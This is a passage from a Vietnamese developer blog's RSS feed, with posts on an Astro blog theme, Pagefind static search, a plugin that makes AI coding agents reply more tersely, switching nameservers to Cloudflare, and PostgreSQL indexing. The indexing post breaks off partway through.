&lt;p&gt;Animated Background: Theme có 4 hiệu ứng nền động — plum, rose, dot, particle — tuỳ chỉnh qua config.&lt;/p&gt;
&lt;p&gt;GitHub Integration: Có thể showcase GitHub releases và pull requests trực tiếp trên blog.&lt;/p&gt;
&lt;p&gt;Gallery: Tính năng tạo thư viện ảnh cá nhân.&lt;/p&gt;
&lt;p&gt;Short Notes: Viết ghi chú nhanh, không cần bài viết đầy đủ.&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;p&gt;Deploy một click qua Netlify hoặc Vercel:&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://app.netlify.com/start/deploy?repository=https://github.com/lin-stephanie/astro-antfustyle-theme&quot;&gt;&lt;img src=&quot;https://raw.githubusercontent.com/lin-stephanie/assets/refs/heads/main/astro-antfustyle-theme/deploy_netlify.svg&quot; alt=&quot;Deploy with Netlify&quot;&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Hoặc clone repo:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;git clone https://github.com/lin-stephanie/astro-antfustyle-theme
cd astro-antfustyle-theme
pnpm install
pnpm dev
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;So Sánh Với astro-pure&lt;/h2&gt;
&lt;p&gt;Blog này dùng &lt;code&gt;astro-pure&lt;/code&gt; nên có vài điểm so sánh:&lt;/p&gt;
&lt;p&gt;| Tiêu chí | AntfuStyle | astro-pure (blog này) |
|---|---|---|
| UI Framework | Zero | Zero |
| Animated BG | 4 hiệu ứng | Không |
| Gallery | Có | Không |
| GitHub Releases/PR | Có | Không |
| Short Notes | Có | Không |
| Search | Pagefind | Pagefind |
| Comments | Giscus | Waline |
| Deploy | Vercel/Netlify | Vercel/Cloudflare |&lt;/p&gt;
&lt;p&gt;AntfuStyle phù hợp nếu bạn muốn blog cá nhân với nhiều tính năng creative — gallery, notes, GitHub showcase — trong khi astro-pure thiên về blog thuần với cấu trúc đơn giản.&lt;/p&gt;
&lt;h2&gt;Cấu Trúc Thư Mục&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;src/
├── components/    # UI components
├── content/       # Blog posts, pages, gallery
├── layouts/       # Page layouts
├── pages/         # Route pages
├── plugins/       # Astro plugins
├── styles/        # Global styles
└── utils/         # Helper functions
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Tự Document&lt;/h2&gt;
&lt;p&gt;Điểm thú vị: &lt;a href=&quot;https://astro-antfustyle-theme.vercel.app/&quot;&gt;live demo&lt;/a&gt; của theme tự nó là tài liệu hướng dẫn. Mỗi tính năng đều có bài viết chi tiết — từ cài đặt, cấu trúc, config cho đến hướng dẫn viết content.&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;AntfuStyle là theme Astro 5 giàu tính năng cho ai muốn blog cá nhân với phong cách tối giản nhưng không thiếu công cụ. Zero JS framework, đầy đủ SEO, search, comments, gallery, và animated background — tất cả trong một gói mã nguồn mở.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/lin-stephanie/astro-antfustyle-theme&quot;&gt;Astro AntfuStyle Theme — GitHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/&quot;&gt;Astro Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://katex.org/&quot;&gt;KaTeX — Math Typesetting&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://giscus.app/&quot;&gt;Giscus — Comments via GitHub Discussions&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Tìm Kiếm Tĩnh Cho Static Site Với Astro + Pagefind</title><link>https://dopana-blog.pages.dev/blog/astro-pagefind</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/astro-pagefind</guid><description>Pagefind là giải pháp tìm kiếm không server, index toàn bộ content tại build time. astro-pagefind tích hợp nó vào Astro chỉ với 1 dòng config.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Static site có nhiều ưu điểm — nhanh, an toàn, rẻ — nhưng thiếu một thứ quan trọng: tìm kiếm. Không có server đồng nghĩa không có database để query. Pagefind giải quyết vấn đề này bằng cách index toàn bộ nội dung ngay tại build time, tạo ra một search index tĩnh hoạt động hoàn toàn trên trình duyệt.&lt;/p&gt;
&lt;h2&gt;Pagefind Là Gì?&lt;/h2&gt;
&lt;p&gt;Pagefind là công cụ tìm kiếm tĩnh, zero-config, chạy sau khi build. Nó quét thư mục output HTML, phân tích nội dung, và sinh ra search index dưới dạng file tĩnh. Kết quả: người dùng có thể tìm kiếm toàn bộ site mà không cần server, database, hay API bên thứ ba.&lt;/p&gt;
&lt;p&gt;Đặc điểm chính:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tự động — không cần cấu hình, tự động phát hiện nội dung&lt;/li&gt;
&lt;li&gt;Không server — index là file tĩnh, search chạy hoàn toàn trên client&lt;/li&gt;
&lt;li&gt;UI tích hợp — component searchbox sẵn dùng&lt;/li&gt;
&lt;li&gt;Đa ngôn ngữ — hỗ trợ segmentation cho nhiều ngôn ngữ&lt;/li&gt;
&lt;li&gt;Phân trang, filter, sorting có sẵn&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;astro-pagefind — Astro Integration&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;astro-pagefind&lt;/code&gt; là integration chính thức cho Astro, giúp tích hợp Pagefind vào build pipeline chỉ với vài dòng config:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;npm i astro-pagefind
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { defineConfig } from &apos;astro/config&apos;
import pagefind from &apos;astro-pagefind&apos;

export default defineConfig({
  integrations: [pagefind()],
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau mỗi lần &lt;code&gt;astro build&lt;/code&gt;, Pagefind tự động index toàn bộ output HTML và sinh search index tại &lt;code&gt;_pagefind/&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Hai Cách Dùng UI&lt;/h2&gt;
&lt;h3&gt;1. Component Searchbox (classic)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
import Search from &apos;astro-pagefind/components/Search.astro&apos;
---

&amp;#x3C;Search
  instance=&quot;search&quot;
  className=&quot;pagefind-ui&quot;
  searchboxOptions={{ placeholder: &apos;Tìm kiếm...&apos; }}
/&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;2. Pagefind UI Component (khuyên dùng từ v1.5.0)&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
import PagefindConfig from &apos;astro-pagefind/components/PagefindConfig.astro&apos;
---

&amp;#x3C;PagefindConfig /&gt;
&amp;#x3C;pagefind-searchbox&gt;&amp;#x3C;/pagefind-searchbox&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cách này dùng Web Component của Pagefind, dễ custom hơn và không cần bảo trì UI riêng.&lt;/p&gt;
&lt;h2&gt;Cách Blog Này Dùng Pagefind&lt;/h2&gt;
&lt;p&gt;Blog này dùng &lt;code&gt;astro-pure&lt;/code&gt; theme, tích hợp Pagefind sẵn qua config:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// src/site.config.ts
prerender: true,
integ: {
  pagefind: true,
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Component search ở &lt;code&gt;/search&lt;/code&gt; dùng Pagefind UI với custom CSS variables để match theme màu của blog:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-css&quot;&gt;--pagefind-ui-primary: hsl(var(--primary));
--pagefind-ui-text: hsl(var(--foreground));
--pagefind-ui-background: hsl(var(--muted));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Tags trên bài viết cũng được đánh dấu để Pagefind filter:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-html&quot;&gt;data-pagefind-filter=&apos;tag&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;So Sánh Với Giải Pháp Khác&lt;/h2&gt;
&lt;p&gt;| Tiêu chí | Pagefind | Algolia / Meilisearch | Tự xây backend |
|---|---|---|---|
| Server | Không | Có (3rd party) | Có (tự host) |
| Chi phí | 0 | Từ $0.50/1k ops | Server + db |
| Cài đặt | 1 dòng npm | API key + widget | Xây API |
| Tốc độ index | Build time | Runtime | Tuỳ |
| Tìm kiếm | Client-side | Server-side | Server-side |
| Offline | Có | Không | Không |&lt;/p&gt;
&lt;h2&gt;Hoạt Động Dưới Hood&lt;/h2&gt;
&lt;p&gt;Khi chạy &lt;code&gt;astro build&lt;/code&gt;, quy trình diễn ra như sau:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Astro build toàn bộ site ra HTML tĩnh&lt;/li&gt;
&lt;li&gt;Pagefind quét thư mục output&lt;/li&gt;
&lt;li&gt;Phân tích nội dung từng trang (title, headings, paragraph, meta)&lt;/li&gt;
&lt;li&gt;Tách từ, loại bỏ stop words&lt;/li&gt;
&lt;li&gt;Xây dựng inverted index&lt;/li&gt;
&lt;li&gt;Ghi index ra file JSON tĩnh trong &lt;code&gt;_pagefind/&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Khi người dùng gõ từ khoá:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Trình duyệt tải index JSON (~100-500KB tuỳ dung lượng site)&lt;/li&gt;
&lt;li&gt;Pagefind thực hiện search hoàn toàn trên client&lt;/li&gt;
&lt;li&gt;Hiển thị kết quả với highlight matching text&lt;/li&gt;
&lt;li&gt;Tất cả diễn ra trong milliseconds — không network request&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Ưu Nhược Điểm&lt;/h2&gt;
&lt;p&gt;Ưu:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Dễ tích hợp — thêm 1 dòng config là xong&lt;/li&gt;
&lt;li&gt;Không chi phí vận hành — không server, không API key&lt;/li&gt;
&lt;li&gt;Tốc độ nhanh — index client-side, không latency network&lt;/li&gt;
&lt;li&gt;Riêng tư — không gửi dữ liệu search ra ngoài&lt;/li&gt;
&lt;li&gt;Hỗ trợ view transitions — giữ search state khi chuyển trang&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nhược:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Index phải tải về trình duyệt — site lớn có thể nặng&lt;/li&gt;
&lt;li&gt;Không real-time — muốn cập nhật nội dung phải build lại&lt;/li&gt;
&lt;li&gt;Tìm kiếm fuzzy cơ bản — không mạnh bằng Elasticsearch&lt;/li&gt;
&lt;li&gt;Không phân quyền — index public, mọi người đều search được&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Nếu bạn xây static site với Astro và cần tính năng tìm kiếm, Pagefind là giải pháp tối ưu. Không server, không chi phí, cài đặt trong 5 phút — phù hợp cho blog, tài liệu, knowledge base.&lt;/p&gt;
&lt;p&gt;Blog này là một ví dụ: trang search hoạt động hoàn toàn không cần backend, mọi từ khoá được xử lý ngay trên trình duyệt của bạn.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://pagefind.app/&quot;&gt;Pagefind Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/shishkin/astro-pagefind&quot;&gt;astro-pagefind Integration&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/&quot;&gt;Astro Official Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/CloudCannon/pagefind&quot;&gt;Pagefind — GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Caveman — Khi AI Coding Agent Nói Ít Hơn, Làm Nhiều Hơn</title><link>https://dopana-blog.pages.dev/blog/caveman-ai</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/caveman-ai</guid><description>Caveman là skill giúp AI coding agent trả lời ngắn gọn, giảm token đến 70%, giữ nguyên thông tin kỹ thuật. Hợp cho Claude Code, Cursor, Codex.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Trong thời đại dùng AI coding assistant như Claude Code, Codex, Cursor, một vấn đề ngày càng rõ: AI nói quá nhiều.&lt;/p&gt;
&lt;p&gt;Một câu trả lời kỹ thuật đáng lẽ chỉ cần:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Bug: object tạo mới mỗi render.
Fix: dùng useMemo.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;nhưng AI thường trả về:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Great question! The reason this happens is because React&apos;s rendering system...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Rất nhiều chữ, nhiều token, nhưng thông tin không tăng tương ứng.&lt;/p&gt;
&lt;p&gt;Caveman ra đời để giải quyết vấn đề này.&lt;/p&gt;
&lt;h2&gt;Caveman Là Gì?&lt;/h2&gt;
&lt;p&gt;Caveman là skill/plugin cho AI coding agent. Nó không phải model mới, không thay đổi khả năng suy luận — nó chỉ thay đổi cách AI giao tiếp:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Bỏ câu mở đầu thừa&lt;/li&gt;
&lt;li&gt;Bỏ giải thích lặp lại&lt;/li&gt;
&lt;li&gt;Dùng câu ngắn&lt;/li&gt;
&lt;li&gt;Giữ thông tin kỹ thuật quan trọng&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Ví Dụ&lt;/h2&gt;
&lt;h3&gt;Bình thường&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;Great question! React components can re-render for several reasons.
One common reason is that when you create a new object inline,
React sees it as a different reference...
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Caveman style&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;New object reference every render.
Inline object prop = new reference = re-render.
Use useMemo.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Cùng ý nghĩa, ít hơn 70% token.&lt;/p&gt;
&lt;h2&gt;Vì Sao Giảm Token Quan Trọng?&lt;/h2&gt;
&lt;p&gt;Một session AI coding agent có thể gồm nhiều lượt:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;User hỏi → AI trả lời → Tool call → Đọc file → AI trả lời → Fix code → AI trả lời&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Nếu mỗi response 1000 token × 50 lượt = 50,000 token. Giảm còn 300 token × 50 lượt = 15,000 token.&lt;/p&gt;
&lt;p&gt;Context dùng được lâu hơn, ít bị giới hạn context window hơn.&lt;/p&gt;
&lt;h2&gt;Cài Đặt&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-bash&quot;&gt;curl -fsSL https://raw.githubusercontent.com/JuliusBrussee/caveman/main/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Yêu cầu Node.js ≥ 18. Sau cài, dùng lệnh:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/caveman
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;để bật chế độ Caveman.&lt;/p&gt;
&lt;h2&gt;Các Mode&lt;/h2&gt;
&lt;p&gt;| Mode | Mức nén |
|---|---|
| &lt;code&gt;/caveman lite&lt;/code&gt; | Nhẹ, vẫn dễ đọc |
| &lt;code&gt;/caveman full&lt;/code&gt; | Ngắn hơn |
| &lt;code&gt;/caveman ultra&lt;/code&gt; | Cực kỳ cô đọng |&lt;/p&gt;
&lt;h2&gt;Ngoài Trả Lời Ngắn&lt;/h2&gt;
&lt;p&gt;Commit message:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;fix auth session handling
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Review code:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;L42 🔴 null possible. Add guard.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Compress memory/context: &lt;code&gt;caveman-compress&lt;/code&gt; rút gọn CLAUDE.md, project notes — agent start với context nhỏ hơn.&lt;/p&gt;
&lt;h2&gt;So Sánh&lt;/h2&gt;
&lt;p&gt;| | Bình thường | Caveman |
|---|---|---|
| Độ dài | Dài | Ngắn |
| Token | Nhiều | Ít |
| Giải thích | Nhiều | Tối giản |
| Coding quality | Tốt | Tốt |
| Đọc nhanh | Trung bình | Cao |&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Caveman không làm AI thông minh hơn — nó làm AI ít nói hơn. Trong workflow coding với AI agent, thứ đắt giá không chỉ là suy luận mà còn là context window, token cost, và tốc độ đọc.&lt;/p&gt;
&lt;p&gt;Caveman biến AI từ &quot;giải thích dài&quot; thành &quot;nói chuyện ngắn gọn&quot;. Ít chữ hơn, vẫn làm được việc.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/JuliusBrussee/caveman&quot;&gt;Caveman GitHub Repository&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/opencode-ai&quot;&gt;OpenCode — AI Coding Agent&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.anthropic.com/en/docs/claude-code/overview&quot;&gt;Claude Code Documentation&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Hướng Dẫn Đổi Nameserver Từ ZoneDNS Sang Cloudflare</title><link>https://dopana-blog.pages.dev/blog/cloudflare-nameserver</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/cloudflare-nameserver</guid><description>Cách đổi nameserver domain từ ZoneDNS sang Cloudflare để dùng Cloudflare Pages, Workers, SSL tự động, HTTPS miễn phí.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Khi triển khai website lên Cloudflare Pages hoặc Workers, bạn cần domain hoạt động với HTTPS. ZoneDNS có giới hạn — URL Redirect chưa hỗ trợ HTTPS. Giải pháp: chuyển nameserver từ ZoneDNS sang Cloudflare.&lt;/p&gt;
&lt;h2&gt;Nameserver Là Gì?&lt;/h2&gt;
&lt;p&gt;Mỗi domain cần DNS server quản lý các bản ghi — domain trỏ tới server nào, website chạy ở đâu, email dùng ở đâu. Các record: A, CNAME, MX, TXT.&lt;/p&gt;
&lt;p&gt;Hiện tại domain dùng DNS của ZoneDNS. Sau khi đổi nameserver, Cloudflare sẽ quản lý DNS.&lt;/p&gt;
&lt;h2&gt;Vì Sao Chuyển Sang Cloudflare?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;HTTPS miễn phí tự động&lt;/li&gt;
&lt;li&gt;SSL certificate tự cấp&lt;/li&gt;
&lt;li&gt;CDN tăng tốc website&lt;/li&gt;
&lt;li&gt;Bảo vệ DDoS&lt;/li&gt;
&lt;li&gt;Quản lý DNS mạnh hơn&lt;/li&gt;
&lt;li&gt;Hỗ trợ tốt Cloudflare Pages&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Các Bước&lt;/h2&gt;
&lt;h3&gt;Bước 1: Vào ZoneDNS&lt;/h3&gt;
&lt;p&gt;Đăng nhập trang quản trị ZoneDNS, chọn domain cần thay đổi.&lt;/p&gt;
&lt;h3&gt;Bước 2: Đổi Nameserver&lt;/h3&gt;
&lt;p&gt;Tìm mục Nameserver hoặc DNS Server. Cloudflare cung cấp 2 nameserver dạng &lt;code&gt;xxx.ns.cloudflare.com&lt;/code&gt; và &lt;code&gt;yyy.ns.cloudflare.com&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;| Mục | Giá trị |
|---|---|
| DN1 | xxx.ns.cloudflare.com |
| DN2 | yyy.ns.cloudflare.com |
| DN3 | Bỏ trống |
| DN4 | Bỏ trống |&lt;/p&gt;
&lt;h2&gt;Sau Khi Đổi&lt;/h2&gt;
&lt;p&gt;Cloudflare bắt đầu quản lý domain. Thời gian cập nhật: vài phút đến 24-48 giờ. Website có thể chưa ổn định ngay.&lt;/p&gt;
&lt;h2&gt;Email Có Bị Ảnh Hưởng?&lt;/h2&gt;
&lt;p&gt;Có thể. Khi chuyển DNS, cần copy MX record, TXT record, SPF, DKIM, DMARC sang Cloudflare để email không bị gián đoạn.&lt;/p&gt;
&lt;h2&gt;Sau Khi Chuyển Xong&lt;/h2&gt;
&lt;p&gt;Vào Cloudflare → DNS → Records — thêm CNAME trỏ về Cloudflare Pages:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;Type:   CNAME
Name:   @
Target: your-project.pages.dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó vào Cloudflare Pages → Custom domains → Add domain để kết nối.&lt;/p&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Đổi nameserver từ ZoneDNS sang Cloudflare giúp website chạy HTTPS ổn định, kết nối Cloudflare Pages, SSL tự động, DNS dễ quản lý. Chỉ cần thay 2 nameserver là xong.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/dns/&quot;&gt;Cloudflare DNS Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/dns/zone-setups/full-setup/setup/&quot;&gt;Cloudflare Nameserver Setup&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/pages/platform/custom-domains/&quot;&gt;Cloudflare Pages — Custom Domains&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/ssl/&quot;&gt;Cloudflare SSL/TLS&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developers.cloudflare.com/dns/manage-dns-records/&quot;&gt;Cloudflare DNS Records&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Database Indexing — Tối Ưu Truy Vấn Trong PostgreSQL</title><link>https://dopana-blog.pages.dev/blog/database-indexing</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/database-indexing</guid><description>Hiểu về index trong database: B-tree, Hash, GiST, GIN — khi nào dùng index nào và cách đọc query plan.</description><pubDate>Wed, 01 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Index là cách nhanh nhất để tăng tốc database — nếu dùng đúng. Dùng sai còn tệ hơn không dùng.&lt;/p&gt;
&lt;h2&gt;Index Là Gì?&lt;/h2&gt;
&lt;p&gt;Giống như mục lục sách. Không có index, database phải scan toàn bộ bảng (sequential scan). Có index, nó nhảy thẳng đến dòng cần tìm.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Không index → Sequential scan
EXPLAIN ANALYZE SELECT * FROM users WHERE email = &apos;alice@example.com&apos;;
-- Seq Scan on users (cost=0.00..435.00 rows=1 width=36)

-- Có index → Index scan
CREATE INDEX idx_users_email ON users(email);
EXPLAIN ANALYZE SELECT * FROM users WHERE email = &apos;alice@example.com&apos;;
-- Index Scan using idx_users_email (cost=0.28..8.29 rows=1 width=36)
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Các Loại Index&lt;/h2&gt;
&lt;h3&gt;B-tree (Mặc Định)&lt;/h3&gt;
&lt;p&gt;Tốt cho: &lt;code&gt;=&lt;/code&gt;, &lt;code&gt;&gt;&lt;/code&gt;, &lt;code&gt;&amp;#x3C;&lt;/code&gt;, &lt;code&gt;&gt;=&lt;/code&gt;, &lt;code&gt;&amp;#x3C;=&lt;/code&gt;, &lt;code&gt;BETWEEN&lt;/code&gt;, &lt;code&gt;LIKE &apos;abc%&apos;&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE INDEX idx_users_created ON users(created_at);
-- WHERE created_at &gt; &apos;2024-01-01&apos; → dùng index
-- WHERE name LIKE &apos;Alice%&apos; → dùng index
-- WHERE name LIKE &apos;%Alice&apos; → KHÔNG dùng index
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Hash&lt;/h3&gt;
&lt;p&gt;Chỉ tốt cho &lt;code&gt;=&lt;/code&gt;. Ít dùng vì B-tree đã làm tốt hơn hầu hết trường hợp.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE INDEX idx_users_email_hash ON users USING hash(email);
-- Chỉ: WHERE email = &apos;alice@example.com&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;GiST (Generalized Search Tree)&lt;/h3&gt;
&lt;p&gt;Cho full-text search, geometry, range types.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Full-text search
CREATE INDEX idx_articles_content ON articles USING gin(to_tsvector(&apos;english&apos;, content));
-- WHERE to_tsvector(&apos;english&apos;, content) @@ to_tsquery(&apos;database &amp;#x26; indexing&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;GIN (Generalized Inverted Index)&lt;/h3&gt;
&lt;p&gt;Cho JSONB, array, full-text search.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- JSONB
CREATE INDEX idx_users_metadata ON users USING gin(metadata jsonb_path_ops);
-- WHERE metadata @&gt; &apos;{&quot;role&quot;: &quot;admin&quot;}&apos;

-- Array
CREATE INDEX idx_articles_tags ON articles USING gin(tags);
-- WHERE tags &amp;#x26;&amp;#x26; array[&apos;database&apos;]
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Composite Index — Nhiều Cột&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;CREATE INDEX idx_users_org_role ON users(organization_id, role);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Thứ tự cột quan trọng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;WHERE org_id = 1 AND role = &apos;admin&apos;&lt;/code&gt; → dùng index&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WHERE role = &apos;admin&apos;&lt;/code&gt; → KHÔNG dùng index (role là cột thứ 2)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WHERE org_id = 1&lt;/code&gt; → dùng index (org_id là cột đầu)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Rule: Cột có cardinality cao (nhiều giá trị unique) để trước.&lt;/p&gt;
&lt;h2&gt;Partial Index — Index Có Điều Kiện&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Chỉ index user active — nhỏ hơn, nhanh hơn
CREATE INDEX idx_users_active ON users(email) WHERE status = &apos;active&apos;;

-- Tìm kiếm chỉ trong active users
SELECT * FROM users WHERE status = &apos;active&apos; AND email = &apos;alice@example.com&apos;;
-- → dùng index nhỏ, không cần scan 1 triệu inactive users
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Covering Index — Include Cột&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- Nếu query chỉ cần id và email, index &quot;cover&quot; luôn query
CREATE INDEX idx_users_email_cover ON users(email) INCLUDE (id, name);

-- Query này chỉ đọc index, không cần động vào table:
SELECT id, name FROM users WHERE email = &apos;alice@example.com&apos;;
-- → Index Only Scan
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;EXPLAIN — Đọc Query Plan&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;EXPLAIN (ANALYZE, BUFFERS, FORMAT JSON) SELECT * FROM users WHERE email = &apos;alice&apos;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Các thông số quan trọng:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;cost — đơn vị ước lượng (không phải ms). &lt;code&gt;cost=0.00..435.00&lt;/code&gt;: 0.00 là cost để lấy dòng đầu, 435.00 là total&lt;/li&gt;
&lt;li&gt;rows — số dòng ước lượng&lt;/li&gt;
&lt;li&gt;width — kích thước mỗi dòng (byte)&lt;/li&gt;
&lt;li&gt;actual time — thời gian thực tế (ms) — chỉ có với &lt;code&gt;ANALYZE&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Buffers: shared hit — số page đọc từ cache — càng nhiều càng tốt&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Dấu Hiệu Cần Index&lt;/h3&gt;
&lt;p&gt;Trong EXPLAIN, nếu thấy:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Seq Scan on users (cost=0.00..435.00 rows=100000)&lt;/code&gt; — full table scan&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Sort Method: external merge Disk: 123kB&lt;/code&gt; — sort tràn disk&lt;/li&gt;
&lt;li&gt;&lt;code&gt;actual time=0.05..435.00&lt;/code&gt; — chênh lệch lớn giữa cost và actual&lt;/li&gt;
